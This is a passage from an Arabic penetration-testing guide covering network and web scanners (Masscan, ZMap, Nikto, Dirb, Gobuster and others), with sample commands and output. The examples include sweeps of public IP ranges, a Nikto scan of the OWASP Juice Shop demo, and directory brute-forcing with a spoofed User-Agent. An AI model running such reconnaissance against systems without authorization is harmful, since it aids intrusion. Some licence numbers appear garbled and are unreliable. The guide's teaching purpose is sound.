شرح المثال: نقوم بفحص نطاق عناوين عام (0/16.0.0.23) يحتوي على أكثر من 65 ألف عنوان. النتائج تتدفق بسرعة هائلة؛ حيث تكشف الأداة عن مئات الخوادم النشطة. النقاط (...) في نهاية المخرجات تشير إلى أن الأداة ما زالت مستمرة في اكتشاف وعرض الآلاف من النتائج الأخرى التي لم يتسع المجال لذكرها.

المخرجات:

```
yaser@CyberBookio:~$ sudo masscan 23.0.0.0/16 -p80 --rate=500

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2025-11-19 10:44:36 GMT
Initiating SYN Stealth Scan
Scanning 65536 hosts [1 port/host]
Discovered open port 80/tcp on 23.0.250.246
Discovered open port 80/tcp on 23.0.184.99
Discovered open port 80/tcp on 23.0.9.137
Discovered open port 80/tcp on 23.0.136.77
Discovered open port 80/tcp on 23.0.131.175
Discovered open port 80/tcp on 23.0.58.247
Discovered open port 80/tcp on 23.0.64.252
Discovered open port 80/tcp on 23.0.240.105
Discovered open port 80/tcp on 23.0.150.15
Discovered open port 80/tcp on 23.0.162.44
Discovered open port 80/tcp on 23.0.46.108
Discovered open port 80/tcp on 23.0.23.60
Discovered open port 80/tcp on 23.0.248.19
Discovered open port 80/tcp on 23.0.192.146
...
...
...
```

```
Discovered open port 80/tcp on 23.0.83.222
Discovered open port 80/tcp on 23.0.65.95
Discovered open port 80/tcp on 23.0.134.114
...
...
...
```

تحميل: https://github.com/robertdavidgraham/masscan

٣.٢ ZMap

هذه الأداة قادمة من العالم الأكاديمي مباشرة، وتحديداً من جامعة ميشيغان العريقة، وهي مصممة لهدف واحد وهو إجراء أبحاث أمنية على مستوى الإنترنت بالكامل. فلسفة ZMap مختلفة، فهو لا يضيع وقته، بل يرسل حزمة واحدة فقط لكل عنوان IP ثم يسجل الردود. وبهذه الطريقة، يستطيع فحص كل عناوين IPv4 في العالم (أكثر من 4 مليار عنوان) في أقل من 45 دقيقة باستخدام اتصال إنترنت سريع! السر في تقنيته المبتكرة التي تسمى المسح عديم الحالة (Stateless Scanning)، بمعنى أنه لا يحتاج لذاكرة ضخمة لتذكر كل طلب أرسله، وبدلاً من ذلك، وبطريقة برمجية ذكية جداً، يقوم بتشفير معلومات الطلب داخل الحزمة نفسها. هذا يجعله خفيفاً جداً على الذاكرة ولا يستهلك موارد الجهاز مهما كان حجم الفحص. صُممت الأداة خصيصاً للباحثين الأمنيين والأكاديميين حتى يتمكنوا من عمل دراسات إحصائية ضخمة، مثلاً لمعرفة مدى انتشار بروتوكول معين أو ثغرة أمنية جديدة. ولكي نعرف أهمية هذه الأداة، يكفي أن نعرف أنها استُخدمت في أبحاث عالمية مهمة ساهمت في كشف ثغرات خطيرة مثل Heartbleed و Logjam.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	سطر الأوامر (CLI) على Linux/macOS/BSD
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة ZMap

مثال عملي: فحص عينة عشوائية من الإنترنت (منفذ HTTPS) باستخدام ZMap:

```
sudo zmap -p 443 -N 10000 -o results.csv -B 10M
```

شرح المثال: أداة ZMap مصممة لمسح الإنترنت بالكامل في دقائق. في هذا المثال الآمن، قمنا بمسح عينة عشوائية مكونة من 10,000 عنوان IP على المنفذ 443. استخدمنا الخيار 10M -B لتحديد استهلاك النطاق الترددي بـ 10 ميجابت/ثانية لتجنب إغراق الشبكة. النتائج في السجل أدناه تظهر تقدم الفحص، حيث يعرض الجزء الأول بداية التدفق، والجزء الأخير اكتمال المهمة بعد الوصول إلى الهدف المطلوب.

المخرجات:

```
yaser@CyberBookio:~$ sudo zmap -p 443 -N 10000 -o results.csv -B 10M

Nov 20 10:57:47.267 [INFO] zmap: By default, ZMap will output the unique IP addresses
Nov 20 10:57:47.267 [INFO] dedup: Response deduplication method is full
Nov 20 10:57:47.288 [INFO] recv: duplicate responses will be excluded from output
 0:00 0%; send: 0 0 p/s (0 p/s avg); recv: 0 0 p/s (0 p/s avg); hitrate: 0.00%
 0:01 8%; send: 12637 12.6 Kp/s (12.4 Kp/s avg); recv: 817 817 p/s; hitrate: 6.47%
 0:02 10%; send: 26527 13.9 Kp/s (13.1 Kp/s avg); recv: 1000 183 p/s; hitrate: 3.77%
 0:03 10%; send: 40444 13.9 Kp/s (13.4 Kp/s avg); recv: 1000 0 p/s; hitrate: 2.47%
 0:04 10%; send: 54315 13.9 Kp/s (13.5 Kp/s avg); recv: 1000 0 p/s; hitrate: 1.84%
 0:05 10%; send: 68201 13.9 Kp/s (13.6 Kp/s avg); recv: 1000 0 p/s; hitrate: 1.47%
 0:06 10%; send: 82096 13.9 Kp/s (13.6 Kp/s avg); recv: 1000 0 p/s; hitrate: 1.22%
 0:07 10%; send: 95929 13.8 Kp/s (13.7 Kp/s avg); recv: 1000 0 p/s; hitrate: 1.04%
 0:08 10%; send: 109872 13.9 Kp/s (13.7 Kp/s avg); recv: 1000 0 p/s; hitrate: 0.91%
 0:09 10%; send: 123762 13.9 Kp/s (13.7 Kp/s avg); recv: 1000 0 p/s; hitrate: 0.81%
 ...
 ...
 ...
 8:54 90%; send: 7411994 13.9 Kp/s (13.9 Kp/s avg); recv: 9000 0 p/s; hitrate: 0.12%
 8:55 90%; send: 7425882 13.9 Kp/s (13.9 Kp/s avg); recv: 9000 0 p/s; hitrate: 0.12%
 8:56 90%; send: 7439780 13.9 Kp/s (13.9 Kp/s avg); recv: 9000 0 p/s; hitrate: 0.12%
 8:57 90%; send: 7453658 13.9 Kp/s (13.9 Kp/s avg); recv: 9000 0 p/s; hitrate: 0.12%
 8:58 90%; send: 7467556 13.9 Kp/s (13.9 Kp/s avg); recv: 9000 0 p/s; hitrate: 0.12%
 8:59 90%; send: 7481448 13.9 Kp/s (13.9 Kp/s avg); recv: 9000 0 p/s; hitrate: 0.12%
 9:00 90%; send: 7495334 13.9 Kp/s (13.9 Kp/s avg); recv: 9000 0 p/s; hitrate: 0.12%
 9:01 98%; send: 7509220 13.9 Kp/s (13.9 Kp/s avg); recv: 9832 832 p/s; hitrate: 0.13
 9:02 99%; send: 7512192 done (13.9 Kp/s avg); recv: 10000 168 p/s; hitrate: 0.13%
```

```
Nov 20 11:06:49.445 [INFO] zmap: completed
```

تحميل: https://zmap.io

٤.٢ Nikto

الآن نتكلم عن واحدة من أقدم وأشهر الأدوات في عالم فحص خوادم الويب، أداة Nikto التي لا غنى عنها لأي مختبر اختراق. هذه الأداة، المكتوبة بلغة Perl والمفتوحة المصدر بالكامل، مهمتها بسيطة وقوية فهي تقوم بعمل فحص أمني شامل لأي خادم ويب للبحث عن نقاط الضعف والثغرات المعروفة. قوتها الحقيقية تكمن في قاعدة بياناتها الضخمة التي تحتوي على أكثر من 7000 فحص مختلف. هي تبحث عن كل شيء تقريباً من الملفات الخطرة المنسية، البرامج القديمة التي لم يتم تحديثها (وهذه كارثة بحد ذاتها)، الإعدادات الأمنية الخاطئة، وحتى ملفات النسخ الاحتياطي التي يتركها المبرمجون بالخطأ. الأداة أيضاً تقوم بفحص ترويسات HTTP headers وتعرف كيف تتعامل مع مئات الأنواع المختلفة من الخوادم، ولكل نوع فحوصاته الخاصة. ولكن كنصيحة مهمة، أداة Nikto ليست خفية إطلاقاً، بل هي صاخبة جداً وتُحدث ضجة كبيرة. أي فحص تقوم به سيظهر بوضوح في سجلات الخادم (Server Logs)، لذا يجب استخدامها بحذر وعلم، وهي ممتازة جداً في عمليات التدقيق الأمني الأولية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	سطر الأوامر (CLI) على Windows/Linux/macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.2

مميزات أداة Nikto

مثال عملي: فحص متجر Juice (OWASP Shop) وتحليل تسريب الملفات الحساسة:

```
nikto -h demo.owasp-juice.shop -o juice_report.txt -Format txt
```

شرح المثال: في هذا الفحص المتقدم، كشفت أداة Nikto عن نقاط ضعف حرجة تندرج تحت تصنيف كشف البيانات الحساسة (Sensitive Data Exposure). تحليل النتائج يظهر المخاطر التالية:

- **تسريب الكود المصدري (.war/.egg):** وجود هذه الملفات يمكن المهاجم من تحميل التطبيق كاملاً وعكس هندسته (Reverse Engineering) لكشف الثغرات البرمجية.

- **كشف مفاتيح التشفير (.jks/.pem/.cer):** العثور على مخازن المفاتيح والشهادات يهدد سرية الاتصالات المشفرة، وقد يسمح بهجمات الرجل في المنتصف.
- **نسخ احتياطية كاملة (.tar/.tgz/.alz):** هذه الملفات غالباً ما تحتوي على هيكلية الموقع القديمة، وقواعد البيانات، وحتى كلمات المرور التي نسي المطورون حذفها.
- **مجلدات مفتوحة (/ftp/):** وجود بروتوكول نقل الملفات متاحاً عبر الويب قد يمنح المهاجم وصولاً مباشراً لملفات الخادم دون الحاجة للمصادقة.
- **توثيق الواجهة البرمجية (swagger.yml):** هذا الملف يعتبر خريطة كنز للمهاجمين، حيث يشرح بالتفصيل كيفية عمل الـ API الخلفي، مما يسهل اكتشاف ثغرات الحقن والتلاعب بالبيانات.
- **المجلدات العامة /public/) و (/assets/:** تفعيل خاصية فهرسة المجلدات (Directory Indexing) هنا قد يكشف عن ملفات جافاسكربت غير مضغوطة أو صور خاصة لم يتم نشرها رسمياً.
- **تسريب المعلومات عبر رؤوس الاستجابة:** الرأس x-recruiting يكشف عن مسار مخفي (/#/jobs) قد لا يكون متاحاً في قائمة التصفح الرئيسية.

المخرجات:

```
yaser@CyberBookio:~$ nikto -h demo.owasp-juice.shop -o juice_report.txt -Format txt

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          81.169.145.156
+ Target Hostname:    demo.owasp-juice.shop
+ Target Port:        80
+ Start Time:         2025-11-20 11:19:45 (GMT4)
---------------------------------------------------------------------------
+ Server: Heroku
+ /: Uncommon header 'x-recruiting' found, with contents: /#/jobs.
+ /robots.txt: Entry '/ftp/' is returned a non-forbidden HTTP code (200).
+ /demo.owasp-juice.shop.war: Potentially interesting backup/cert file found.
+ /database.egg: Potentially interesting backup/cert file found.
+ /site.tar: Potentially interesting backup/cert file found.
+ /demo.owasp-juice.jks: Potentially interesting backup/cert file found.
```

```
+ /demoowasp-juice.alz: Potentially interesting backup/cert file found.
+ /shop.cer: Potentially interesting backup/cert file found.
+ /demo_owasp-juice_shop.tar: Potentially interesting backup/cert file found.
+ /backup.alz: Potentially interesting backup/cert file found.
+ /dump.war: Potentially interesting backup/cert file found.
+ /81.169.145.156.pem: Potentially interesting backup/cert file found.
+ /database.pem: Potentially interesting backup/cert file found.
+ /demoowasp-juiceshop.jks: Potentially interesting backup/cert file found.
+ /shop.tgz: Potentially interesting backup/cert file found.
+ /archive.tar.lzma: Potentially interesting backup/cert file found.
+ /dump.war: Potentially interesting backup/cert file found.
+ /demo.war: Potentially interesting backup/cert file found.
+ /backup.pem: Potentially interesting backup/cert file found.
+ /demo.tar.lzma: Potentially interesting backup/cert file found.
+ /shop.egg: Potentially interesting backup/cert file found.
+ /demo.owasp-juice.tgz: Potentially interesting backup/cert file found.
+ /database.cer: Potentially interesting backup/cert file found.
+ /site.pem: Potentially interesting backup/cert file found.
...
...
...
+ /ftp/: This might be interesting.
+ /public/: This might be interesting.
+ /assets/: Directory indexing found.
+ /swagger.yml: Swagger API definition found.
```

تحميل: https://github.com/sullo/nikto

٥.٢ OpenVAS

عندما نتحدث عن فحص الثغرات الأمنية بشكل احترافي، فلا بد من ذكر العملاق المفتوح المصدر OpenVAS. هذه الأداة هي الجواب المجاني والأقوى للأدوات التجارية الغالية مثل Nessus، وهي جزء أساسي من منظومة Greenbone Vulnerability Management (GVM) المتكاملة. قوتها الحقيقية تكمن في قاعدة بياناتها الجبارة التي تحتوي على

أكثر من 160,000 اختبار للثغرات (NVTs)، والأجمل من ذلك أن هذه القاعدة يتم تحديثها بشكل يومي بفضل جهود مجتمع الباحثين الأمنيين حول العالم. تستطيع أداة OpenVAS فحص كل شيء تقريباً في شبكتك، من أنظمة التشغيل والتطبيقات، إلى الخدمات وقواعد البيانات، بحثاً عن أي ثغرات أمنية معروفة. ولأنها أداة احترافية، فهي تأتي مع واجهة ويب متكاملة (GSA) تسمح لك بإدارة وجدولة عمليات الفحص، واستخراج تقارير مفصلة جداً. كما تدعم ميزات متقدمة مثل الفحص بالمصادقة (authenticated scans) للدخول إلى الأنظمة وفحصها من الداخل، مما يعطي نتائج أعمق وأكثر دقة. بسبب كل هذه المميزات، أصبحت تُستخدم على نطاق واسع في المؤسسات الكبيرة والجهات الحكومية التي تحتاج إلى تدقيق أمني مستمر. باختصار، هي السلاح المفتوح المصدر الذي تحتاجه أي منظمة جادة في حماية بنيتها التحتية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	واجهة ويب + سطر الأوامر (CLI) على Linux
التكلفة	مجاني/مدفوع
نوع الترخيص	AGPL 0.3

مميزات أداة OpenVAS

تحميل: https://www.openvas.org

٦.٢ Nessus

إذا كان OpenVAS هو البطل في عالم المصادر المفتوحة، فإن Nessus من شركة Tenable هو الملك المتوج والمعيار الذهبي في العالم التجاري بلا منازع. نتكلم هنا عن الأداة التي تعتمد عليها أغلب الشركات الكبرى في العالم، وهي ليست مجرد أداة، بل هي منصة متكاملة لإدارة الثغرات. القوة الحقيقية أو قلب المحرك النابض في Nessus هي قاعدة بياناته الجبارة التي تحتوي على أكثر من 295,000 إضافة (Plugin)، وهذه ليست مجرد أرقام، بل خلفها فريق بحثي متخصص يقوم بتحديثها بشكل مستمر لتغطية كل شيء يمكن تخيله من أنظمة التشغيل والتطبيقات، إلى قواعد البيانات، وحتى البيئات السحابية المعقدة مثل AWS و Azure. أكثر ما يميزها حقيقةً هو دقتها الشديدة، فخاصية الفحص بالمصادقة (Authenticated Scanning) تعطيها القدرة على الدخول للأنظمة وفحصها من الداخل، وهذا يقلل نسبة النتائج الإيجابية الخاطئة (False Positives) بشكل كبير جداً، وهي نقطة جوهرية ومهمة في بيئة الشركات. طبعاً، لأنها أداة للمحترفين، فهي تدعم سياسات الفحص المتوافقة مع المعايير العالمية مثل PCI-DSS و HIPAA، وتوفر تقارير احترافية جداً تناسب المدراء التنفيذيين والفرق التقنية على حد سواء. باختصار، Nessus هو الخيار الأول لأي مؤسسة لا تقبل بأنصاف الحلول وتحتاج إلى نظام موثوق وشامل لإدارة الثغرات الأمنية على مستوى احترافي.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	واجهة ويب + وكيل/خادم على Windows/Linux/macOS
التكلفة	مدفوع (Essentials/Professional)
نوع الترخيص	احتكاري

مميزات أداة Nessus

تحميل: https://www.tenable.com/products/nessus

٧.٢ Acunetix

Acunetix هو أحد الحلول التجارية الرائدة والمحترفة جداً في عالم فحص أمان تطبيقات الويب. هذه الأداة متخصصة في تقنية الفحص الديناميكي للتطبيقات (DAST)، لكن قوتها الحقيقية، والتي تميزها عن غيرها، هي قدرتها الفائقة على فهم وفحص التطبيقات الحديثة والمعقدة. نتكلم هنا عن تطبيقات الصفحة الواحدة (SPAs) المبنية بتقنيات مثل Angular و React، والواجهات البرمجية (APIs) مثل REST و GraphQL، التي تعجز الكثير من الأدوات التقليدية عن فحصها بشكل صحيح. السر في ذلك هو محرك الفحص المتطور الخاص بها DeepScan، الذي يستطيع الزحف (Crawling) داخل تطبيقات JavaScript المعقدة وتحليلها بعمق.

ومن الناحية الأمنية، فهي تكشف أكثر من 7000 ثغرة ويب معروفة، لكن الميزة الجبارة فيها هي تقنية AcuSensor التي تعمل كجاسوس داخل الكود البرمجي نفسه، مما يعطيها دقة عالية جداً في اكتشاف الثغرات ويقلل بشكل كبير من النتائج الإيجابية الخاطئة (False Positives)، وهذه نقطة جوهرية ومهمة جداً للمحترفين. ولكل ثغرة تجدها، تقدم لك دليلاً مفصلاً (Proof of Concept) لإثبات وجودها. ولأنها أداة للمؤسسات، فهي تتكامل بسلاسة مع بيئات التطوير الحديثة (CI/CD) مثل Jenkins و GitLab، مما يجعل الأمن جزءاً لا يتجزأ من عملية التطوير، وهذا هو مفهوم الـ DevSecOps الذي نؤمن به.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	واجهة ويب مُدارة سحابيًا + مُثبّت على Windows/Linux
التكلفة	مدفوع
نوع الترخيص	احتكاري

مميزات أداة Acunetix

تحميل: https://www.acunetix.com

٨.٢ Invicti (formerly Netsparker)

نستعرض منصة Invicti (والتي كانت تُعرف سابقاً بالاسم الشهير Netsparker) وهي من العيار الثقيل مخصصة للمؤسسات الكبرى. ما يميز هذه المنصة هو أنها لا تكتفي بتقديم الفحص الديناميكي (DAST) وحسب، بل تدمج منهجيات فحص متعددة لتقديم رؤية شاملة. فهي تجمع بين قوة الفحص الديناميكي (DAST) والفحص التفاعلي (IAST) من خلال مستشعرها الخاص Invicti Shark. هذا المستشعر يعمل من داخل التطبيق، مما يتيح له تحديد مكان الثغرة بدقة تصل إلى مستوى سطر الكود المسبب للمشكلة، وهو ما يسرّع عمليات الإصلاح بشكل جذري. بالإضافة إلى ذلك، تتضمن المنصة قدرات متقدمة لتحليل مكونات البرمجيات (SCA)، والتي تقوم بفحص المكتبات البرمجية ومكونات المصادر المفتوحة للكشف عن الثغرات المعروفة ضمن هذه المكونات.

يقدّم هذا التكامُل، بالإضافة إلى الميزة الجوهرية والثورية في هذه الأداة وهي تقنيتها الفريدة المسماة Proof-Based Scanning™، حلاً متكاملاً؛ فالأداة لا تكتفي بالإبلاغ عن ثغرة محتملة، بل تذهب خطوة أبعد وتقوم باستغلال الثغرة بشكل آمن تماماً لتقدم الدليل القاطع على وجودها، وهذه الميزة وحدها تُعتبر نقلة نوعية لأنها تلغي تماماً مشكلة النتائج الإيجابية الخاطئة (False Positives)، وهي المشكلة التي تستهلك وقتاً ثميناً جداً من فرق الأمن في التحقق اليدوي، بحيث يستطيع فريق الأمن التركيز مباشرة على إصلاح الثغرات الحقيقية بثقة تامة.

ولأنها مصممة للمؤسسات الضخمة، فهي قادرة على فحص جميع أنواع التطبيقات، من الأنظمة القديمة (Legacy) إلى أحدث التطبيقات السحابية (Cloud-Native)، مع دعم متقدم جداً لواجهات برمجة التطبيقات (APIs). كما أنها تتكامل بسلاسة تامة مع بيئة العمل الكاملة للمطورين وفرق الأمن، مثل أنظمة إدارة المشاريع Jira و Azure DevOps، وأدوات CI/CD مثل Jenkins، وهذا يجعلها الخيار الأمثل للبنوك والجهات الحكومية التي تحتاج إلى أعلى مستويات الدقة والموثوقية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	واجهة ويب مُدارة سحابيًا + مُثبّت على Windows/Linux
التكلفة	مدفوع
نوع الترخيص	احتكاري

مميزات أداة Invicti

٩.٢ Dirb

تعتبر أداة Dirb إحدى الأدوات الأساسية التي لا غنى عنها في مرحلة الاستطلاع الأولية. هذه الأداة (التي طُوّرت في إسبانيا وتُعتبر من أقدم وأشهر أدوات هذا المجال) مبنية على فلسفة بسيطة وفعالة جداً لحل مشكلة شائعة: الاعتماد على الأمن بالإخفاء (Security through Obscurity). يفترض بعض المطورين أنه طالما لا يوجد رابط مباشر لمجلد الإدارة admin أو ملف النسخ الاحتياطي backup.zip، فلن يتم اكتشافه (وهي بالطبع فرضية أمنية غير صحيحة).

هنا يأتي دور Dirb فهذه الأداة لا تعتمد على استغلال ثغرات معقدة، بل تطبق بكل بساطة هجوم القوة العمياء القائم على القاموس (dictionary-based attack). تقوم الأداة بتجربة آلاف الاحتمالات من قائمة كلمات (wordlist) معدة مسبقاً (تأتي الأداة مع قواميس جيدة) للعثور على هذه الملفات والمجلدات المخفية.

وعلى الرغم من بساطته، إلا أنه يمتلك خصائص مهمة مثل دعم المصادقة (HTTP Basic/Digest)، وإمكانية استخدام Cookies مخصصة لتجاوز الصفحات التي تتطلب تسجيل دخول، وتغيير User-Agent للتخفي. وعلى الرغم من وجود بدائل أحدث وأسرع (مثل Gobuster المكتوب بلغة Go)، إلا أن Dirb يبقى الأداة الموثوقة، وسهلة الاستخدام، والأساسية التي يجب على كل مبتدئ أن يتقنها لفهم آلية هجوم اكتشاف المحتوى (Content Discovery).

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	Linux
التكلفة	مجاني
نوع الترخيص	GPL-0.2

مميزات أداة Dirb

مثال عملي: فحص خادم ويب Apache لاكتشاف المجلدات المخفية، والبحث عن ملفات ذات امتدادات محددة، وتجاوز الحماية بتغيير معرف المتصفح:

```
dirb http://10.49.185.56
dirb http://10.49.185.56 -X .php,.txt
dirb http://10.49.185.56 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
```

شرح المثال: الأمر الأول يمثل الفحص الأساسي باستخدام القاموس الافتراضي (common.txt)، والذي كشف لنا عن مجلد /panel/ وهو الاكتشاف الأهم (لوحة تحكم مخفية)، بالإضافة إلى مجلد /uploads/ الذي يسمح بسرد محتوياته (Directory Listing). الأمر الثاني يخصص البحث للعثور فقط على ملفات php. و txt.، بينما يستخدم الأمر الثالث خيار (a-) لتغيير User-Agent ليبدو الطلب وكأنه صادر من متصفح Windows عادي لتجاوز جدران الحماية البسيطة.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ dirb http://10.49.185.56

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Jan  1 05:22:00 2026
URL_BASE: http://10.49.185.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.49.185.56/ ----
==> DIRECTORY: http://10.49.185.56/css/
+ http://10.49.185.56/index.php (CODE:200|SIZE:616)
==> DIRECTORY: http://10.49.185.56/js/
==> DIRECTORY: http://10.49.185.56/panel/
+ http://10.49.185.56/server-status (CODE:403|SIZE:277)
==> DIRECTORY: http://10.49.185.56/uploads/

---- Entering directory: http://10.49.185.56/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
```

```
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.49.185.56/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.49.185.56/panel/ ----
+ http://10.49.185.56/panel/index.php (CODE:200|SIZE:732)

---- Entering directory: http://10.49.185.56/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Fri Jan  1 05:27:26 2026
DOWNLOADED: 9224 - FOUND: 3

  (yaser CyberBookio)-[~]
 $ dirb http://10.49.185.56 -X .php,.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Jan  1 05:27:36 2026
URL_BASE: http://10.49.185.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php,.txt) | (.php)(.txt) [NUM = 2]

-----------------
```

```
GENERATED WORDS: 4612

---- Scanning URL: http://10.49.185.56/ ----
+ http://10.49.185.56/index.php (CODE:200|SIZE:616)

-----------------
END_TIME: Fri Jan  1 05:32:56 2026
DOWNLOADED: 9224 - FOUND: 1

  (yaser CyberBookio)-[~]
 $ dirb http://10.49.185.56 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Jan  1 05:34:40 2026
URL_BASE: http://10.49.185.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
USER_AGENT: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.49.185.56/ ----
==> DIRECTORY: http://10.49.185.56/css/
+ http://10.49.185.56/index.php (CODE:200|SIZE:616)
==> DIRECTORY: http://10.49.185.56/js/
==> DIRECTORY: http://10.49.185.56/panel/
+ http://10.49.185.56/server-status (CODE:403|SIZE:277)
```

```
==> DIRECTORY: http://10.49.185.56/uploads/

-----------------
END_TIME: Fri Jan  1 05:39:57 2026
DOWNLOADED: 9224 - FOUND: 3
```

تحميل: https://sourceforge.net/projects/dirb/

١٠.٢ Gobuster

Gobuster هو التطوّر الطبيعي والحديث في هذا المجال بعد أداة Dirb. الفارق الجوهري هنا هو الأداء؛ فهذه الأداة مكتوبة بلغة Go، وهذا ليس مجرد اختيار تقني عابر، بل سبب رئيسي في سرعتها العالية وقدرتها على استغلال المعالجة المتزامنة (concurrent processing) عبر Goroutines بكفاءة. وبدلاً من الاعتماد على سكربتات تقليدية أحادية الخيط (single-threaded scripts)، تُطلق Gobuster عدداً كبيراً من الطلبات المتوازية، مما يختصر زمن الفحص من ساعات (مع بعض الأدوات القديمة) إلى دقائق في العديد من السيناريوهات العملية.

ما يميز Gobuster أيضاً أنها ليست مجرد أداة لاكتشاف المسارات والملفات (dir mode) كما في Dirb، بل منصة متعددة الأوضاع. فهي توفر:

- dir mode: لاكتشاف المجلدات والملفات المخفية على خوادم الويب باستخدام قوائم كلمات (wordlists).
- dns mode: لتخمين النطاقات الفرعية (subdomains) باستخدام أسلوب القوة العمياء (brute force).
- vhost mode: لاكتشاف المضيفات الافتراضية (Virtual Hosts) المخفية التي قد تشترك في نفس عنوان IP مع خادم واحد لكنها تقدم تطبيقات مختلفة.

كما تقدّم الأداة مرونة عالية في تخصيص الفحص. على سبيل المثال:

- يمكن تحديد أكواد الاستجابة المرغوبة أو المستبعدة (status codes) بدقة، بدلاً من الاكتفاء بحالة 200 فقط.
- يمكن استثناء الاستجابات ذات أحجام معيّنة (مثل خيار --exclude-length) لتقليل الضجيج والنتائج الإيجابية الخاطئة (False Positives)، خاصةً عند التعامل مع تطبيقات تُرجع صفحات غير موجود (Not Found) بكود استجابة 200.

بفضل هذه العوامل مجتمعة من السرعة، وتعدد الأنماط، ومرونة الفلترة أصبحت Gobuster واحدة من الأدوات القياسية في برامج مكافآت الثغرات (Bug Bounty) واختبارات الاختراق الحديثة، لاكتشاف كل ما هو مخفي من واجهات APIs غير الموثقة إلى النطاقات الفرعية والمضيفات الافتراضية المنسيّة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Gobuster

مثال عملي: استخدام وضع dir للبحث السريع عن المجلدات والملفات (بامتدادات php, txt)، مع رفع سرعة الفحص باستخدام المعالجة المتوازية:

```
gobuster dir -u http://10.49.185.56 -w
/usr/share/wordlists/dirb/common.txt -x php,txt -t 50
```

شرح المثال: في هذا الأمر، قمنا بتوجيه Gobuster لفحص المجلدات (dir) باستخدام الخيارات التالية:

- x- php,txt: البحث عن الملفات التي تنتهي بهذه الامتدادات، مما ساعدنا في اكتشاف ملفات حساسة مثل .htaccess و htpasswd..
- t- 50: استخدام 50 خيط معالجة (Threads) لإنجاز الفحص بسرعة عالية.

النتائج هنا أكثر تفصيلاً من Dirb؛ فقد أظهرت ملفات تكوين الخادم (.htaccess) بحالة 403 Forbidden (أي أنها موجودة ولكن لا يمكن قراءتها)، والأهم من ذلك اكتشاف مجلد /panel (بحالة 301) ومجلد /uploads، وهما نقطتا الدخول المحتملتان للاختراق.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ gobuster dir -u http://10.49.185.56 -w /usr/share/wordlists/dirb/common.txt -x php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.49.185.56
[+] Method:                  GET
```

```
[+] Threads:                50
[+] Wordlist:               /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:  404
[+] User Agent:             gobuster/3.8
[+] Extensions:             php,txt
[+] Timeout:                10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.hta.php             (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htaccess.txt        (Status: 403) [Size: 277]
/.hta.txt             (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/.htpasswd.txt        (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 310] [--> http://10.49.185.56/css/]
/index.php            (Status: 200) [Size: 616]
/index.php            (Status: 200) [Size: 616]
/js                   (Status: 301) [Size: 309] [--> http://10.49.185.56/js/]
/panel                (Status: 301) [Size: 312] [--> http://10.49.185.56/panel/]
/server-status        (Status: 403) [Size: 277]
/uploads              (Status: 301) [Size: 314] [--> http://10.49.185.56/uploads/]
Progress: 13839 / 13839 (100.00%)
===============================================================
Finished
===============================================================
```

تحميل: https://github.com/OJ/gobuster

خاتمة القسم: الفحص والاستطلاع (Scanning and Reconnaissance)

في نهاية المطاف تمثل مرحلة الفحص والاستطلاع التحول الحقيقي من مساحة هجومية واسعة وغامضة إلى نطاق محدد يمكن التعامل معه عملياً. في هذه المرحلة تتحول البيانات الخام إلى معلومات استخباراتية قابلة للتحليل ويتم الانتقال من الضوضاء إلى إشارة دقيقة يمكن البناء عليها. التجارب العملية في عالم الهجمات المتقدمة تثبت أن النجاح لا يعتمد على امتلاك الأدوات فقط، بل يعتمد على جودة المعلومات الناتجة عن الفحص ودقة تفسيرها بشكل عملياتي.

